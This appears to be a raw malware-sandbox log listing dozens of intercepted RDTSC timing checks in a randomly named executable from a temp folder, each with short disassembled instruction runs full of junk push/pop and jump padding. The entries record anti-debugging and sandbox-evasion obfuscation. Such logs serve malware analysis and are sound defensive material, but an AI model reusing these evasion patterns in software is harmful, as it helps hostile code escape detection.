Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: 55802C1 second address: 5580392 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov edx, dword ptr [esi+44h] 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007FA458BC473Eh 0x00000011 sbb cx, 3F18h 0x00000016 jmp 00007FA458BC473Bh 0x0000001b popfd 0x0000001c push eax 0x0000001d mov bx, AC3Ah 0x00000021 pop edi 0x00000022 popad 0x00000023 or edx, dword ptr [ebp+0Ch] 0x00000026 pushad 0x00000027 movzx esi, bx 0x0000002a pushfd 0x0000002b jmp 00007FA458BC4749h 0x00000030 sbb esi, 71D34B66h 0x00000036 jmp 00007FA458BC4741h 0x0000003b popfd 0x0000003c popad 0x0000003d test edx, 61000000h 0x00000043 jmp 00007FA458BC473Eh 0x00000048 jne 00007FA4CA9F2A7Dh 0x0000004e pushad 0x0000004f call 00007FA458BC473Dh 0x00000054 pushfd 0x00000055 jmp 00007FA458BC4740h 0x0000005a sub si, 7568h 0x0000005f jmp 00007FA458BC473Bh 0x00000064 popfd 0x00000065 pop esi 0x00000066 popad 0x00000067 test byte ptr [esi+48h], 00000001h 0x0000006b push eax 0x0000006c push edx 0x0000006d push eax 0x0000006e push edx 0x0000006f jmp 00007FA458BC4741h 0x00000074 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: 5580392 second address: 55803A7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA458503E01h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: 55803A7 second address: 55803AD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: 55803AD second address: 55803B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: 55803B1 second address: 55803B5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: 55803B5 second address: 55803DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jne 00007FA4CA3320DAh 0x0000000e jmp 00007FA458503DFFh 0x00000013 test bl, 00000007h 0x00000016 pushad 0x00000017 mov si, B23Bh 0x0000001b push eax 0x0000001c push edx 0x0000001d mov bh, ch 0x0000001f rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: 55707AF second address: 5570805 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA458BC473Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebx 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007FA458BC473Eh 0x00000011 add ch, FFFFFF88h 0x00000014 jmp 00007FA458BC473Bh 0x00000019 popfd 0x0000001a push ecx 0x0000001b mov dl, 0Fh 0x0000001d pop esi 0x0000001e popad 0x0000001f push eax 0x00000020 pushad 0x00000021 pushfd 0x00000022 jmp 00007FA458BC473Ch 0x00000027 or cx, 19E8h 0x0000002c jmp 00007FA458BC473Bh 0x00000031 popfd 0x00000032 push ecx 0x00000033 push eax 0x00000034 push edx 0x00000035 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: 5570805 second address: 5570812 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 popad 0x00000006 xchg eax, ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: 5570812 second address: 557082F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA458BC4749h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: 557082F second address: 55708BA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA458503E01h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a pushad 0x0000000b mov cx, 8443h 0x0000000f mov esi, 341C219Fh 0x00000014 popad 0x00000015 push eax 0x00000016 pushad 0x00000017 jmp 00007FA458503DFBh 0x0000001c pushfd 0x0000001d jmp 00007FA458503E08h 0x00000022 sbb eax, 345B9C38h 0x00000028 jmp 00007FA458503DFBh 0x0000002d popfd 0x0000002e popad 0x0000002f xchg eax, esi 0x00000030 jmp 00007FA458503E06h 0x00000035 mov esi, dword ptr [ebp+08h] 0x00000038 push eax 0x00000039 push edx 0x0000003a pushad 0x0000003b call 00007FA458503DFDh 0x00000040 pop eax 0x00000041 mov edx, 564C8674h 0x00000046 popad 0x00000047 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: 55708BA second address: 5570910 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA458BC473Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 sub ebx, ebx 0x0000000b pushad 0x0000000c pushfd 0x0000000d jmp 00007FA458BC4747h 0x00000012 add si, D4BEh 0x00000017 jmp 00007FA458BC4749h 0x0000001c popfd 0x0000001d mov eax, 4119FA07h 0x00000022 popad 0x00000023 test esi, esi 0x00000025 push eax 0x00000026 push edx 0x00000027 push eax 0x00000028 push edx 0x00000029 pushad 0x0000002a popad 0x0000002b rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: 5570910 second address: 5570914 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: 5570914 second address: 557091A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: 557091A second address: 5570920 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: 5570920 second address: 55709A8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA458BC4748h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b je 00007FA4CA9FA186h 0x00000011 pushad 0x00000012 pushfd 0x00000013 jmp 00007FA458BC473Ah 0x00000018 adc si, FF48h 0x0000001d jmp 00007FA458BC473Bh 0x00000022 popfd 0x00000023 popad 0x00000024 cmp dword ptr [esi+08h], DDEEDDEEh 0x0000002b pushad 0x0000002c pushad 0x0000002d mov edx, eax 0x0000002f mov eax, 617D958Dh 0x00000034 popad 0x00000035 mov esi, 343AFD89h 0x0000003a popad 0x0000003b mov ecx, esi 0x0000003d pushad 0x0000003e pushfd 0x0000003f jmp 00007FA458BC4742h 0x00000044 xor esi, 151FE4D8h 0x0000004a jmp 00007FA458BC473Bh 0x0000004f popfd 0x00000050 push eax 0x00000051 push edx 0x00000052 mov eax, 4F8C6E25h 0x00000057 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: 55709A8 second address: 55709BB instructions: 0x00000000 rdtsc 0x00000002 mov edx, eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 je 00007FA4CA3397EAh 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: 55709BB second address: 55709BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: 55709BF second address: 55709D8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA458503E05h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: 55709D8 second address: 5570A07 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007FA458BC4747h 0x00000008 pop esi 0x00000009 mov bx, 3ADCh 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 test byte ptr [77436968h], 00000002h 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: 5570A07 second address: 5570A0D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: 5570A0D second address: 5570A13 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: 5570A13 second address: 5570A17 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: 5570A17 second address: 5570A71 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA458BC4741h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jne 00007FA4CA9FA0BEh 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 pushfd 0x00000015 jmp 00007FA458BC4743h 0x0000001a sbb ecx, 6446946Eh 0x00000020 jmp 00007FA458BC4749h 0x00000025 popfd 0x00000026 mov ecx, 19CDE1F7h 0x0000002b popad 0x0000002c rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: 5570A71 second address: 5570AA1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA458503DFDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov edx, dword ptr [ebp+0Ch] 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FA458503E08h 0x00000015 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: 5570AA1 second address: 5570AA5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: 5570AA5 second address: 5570AAB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: 5570AAB second address: 5570AB1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: 5570AB1 second address: 5570AB5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: 5570AB5 second address: 5570AFE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA458BC4748h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebx 0x0000000c jmp 00007FA458BC4740h 0x00000011 push eax 0x00000012 pushad 0x00000013 mov esi, edx 0x00000015 popad 0x00000016 xchg eax, ebx 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007FA458BC4742h 0x0000001e rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: 5570AFE second address: 5570B36 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FA458503E01h 0x00000008 mov esi, 6FABCE67h 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 xchg eax, ebx 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007FA458503E09h 0x00000018 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: 5570B36 second address: 5570B3C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: 5570B3C second address: 5570B40 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: 5570B40 second address: 5570BB2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA458BC4743h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d pushad 0x0000000e pushfd 0x0000000f jmp 00007FA458BC4745h 0x00000014 adc eax, 6A205396h 0x0000001a jmp 00007FA458BC4741h 0x0000001f popfd 0x00000020 popad 0x00000021 mov dx, 88D2h 0x00000025 popad 0x00000026 xchg eax, ebx 0x00000027 pushad 0x00000028 mov ch, FDh 0x0000002a popad 0x0000002b push dword ptr [ebp+14h] 0x0000002e push eax 0x0000002f push edx 0x00000030 jmp 00007FA458BC4748h 0x00000035 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: 5570BB2 second address: 5570BB8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: 5570BB8 second address: 5570BBC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: 5570BFA second address: 5570C09 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA458503DFBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: 5570C09 second address: 5570C21 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FA458BC4744h 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: 5570C21 second address: 5570C25 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: 5580CEC second address: 5580D1E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA458BC4744h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FA458BC4747h 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: 5580D1E second address: 5580D6B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA458503E09h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b pushad 0x0000000c movsx edx, cx 0x0000000f mov cx, 1E05h 0x00000013 popad 0x00000014 mov edi, ecx 0x00000016 popad 0x00000017 xchg eax, ebp 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b call 00007FA458503E09h 0x00000020 pop esi 0x00000021 mov si, bx 0x00000024 popad 0x00000025 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: 5580D6B second address: 5580D94 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA458BC473Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FA458BC4747h 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: 5580D94 second address: 5580DB8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx ebx, si 0x00000006 mov ah, AFh 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FA458503E06h 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: 5580DB8 second address: 5580DBE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: 5580DBE second address: 5580DC2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: 5580DC2 second address: 5580DC6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: 5580AB1 second address: 5580AB5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: 5580AB5 second address: 5580ABB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: 5580ABB second address: 5580B2B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FA458503E08h 0x00000008 call 00007FA458503E02h 0x0000000d pop ecx 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 mov ebp, esp 0x00000013 pushad 0x00000014 pushfd 0x00000015 jmp 00007FA458503E07h 0x0000001a sbb ah, FFFFFFFEh 0x0000001d jmp 00007FA458503E09h 0x00000022 popfd 0x00000023 popad 0x00000024 pop ebp 0x00000025 push eax 0x00000026 push edx 0x00000027 pushad 0x00000028 push eax 0x00000029 push edx 0x0000002a rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: 5580B2B second address: 5580B45 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA458BC4745h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: 5580B45 second address: 5580B4B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: 5580B4B second address: 5580B4F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: 5580B4F second address: 5580B53 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: 55F0DF7 second address: 55F0DFD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: 55F0DFD second address: 55F0E01 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: 55F01D4 second address: 55F01D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: 55F01D8 second address: 55F01DC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: 55F01DC second address: 55F01E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: 55F01E2 second address: 55F01E8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: 55F01E8 second address: 55F01EC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: 55E0F0C second address: 55E0F28 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA458503E01h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: 55E0F28 second address: 55E0F2C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: 55E0F2C second address: 55E0F32 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: 55E0F32 second address: 55E0F38 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: 559011C second address: 5590134 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FA458503E04h 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: 5590134 second address: 5590138 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: 5590138 second address: 5590150 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FA458503DFDh 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: 5590150 second address: 55901B7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop esi 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 jmp 00007FA458BC4745h 0x0000000e mov ebp, esp 0x00000010 pushad 0x00000011 push esi 0x00000012 jmp 00007FA458BC4743h 0x00000017 pop esi 0x00000018 push eax 0x00000019 push edx 0x0000001a pushfd 0x0000001b jmp 00007FA458BC473Fh 0x00000020 or ax, 94FEh 0x00000025 jmp 00007FA458BC4749h 0x0000002a popfd 0x0000002b rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: 55F04C3 second address: 55F0516 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007FA458503DFFh 0x00000008 pop eax 0x00000009 pushfd 0x0000000a jmp 00007FA458503E09h 0x0000000f or ax, 4796h 0x00000014 jmp 00007FA458503E01h 0x00000019 popfd 0x0000001a popad 0x0000001b pop edx 0x0000001c pop eax 0x0000001d push eax 0x0000001e push eax 0x0000001f push edx 0x00000020 pushad 0x00000021 mov bx, si 0x00000024 mov ax, 2915h 0x00000028 popad 0x00000029 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: 55F0516 second address: 55F051C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: 55F051C second address: 55F0520 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
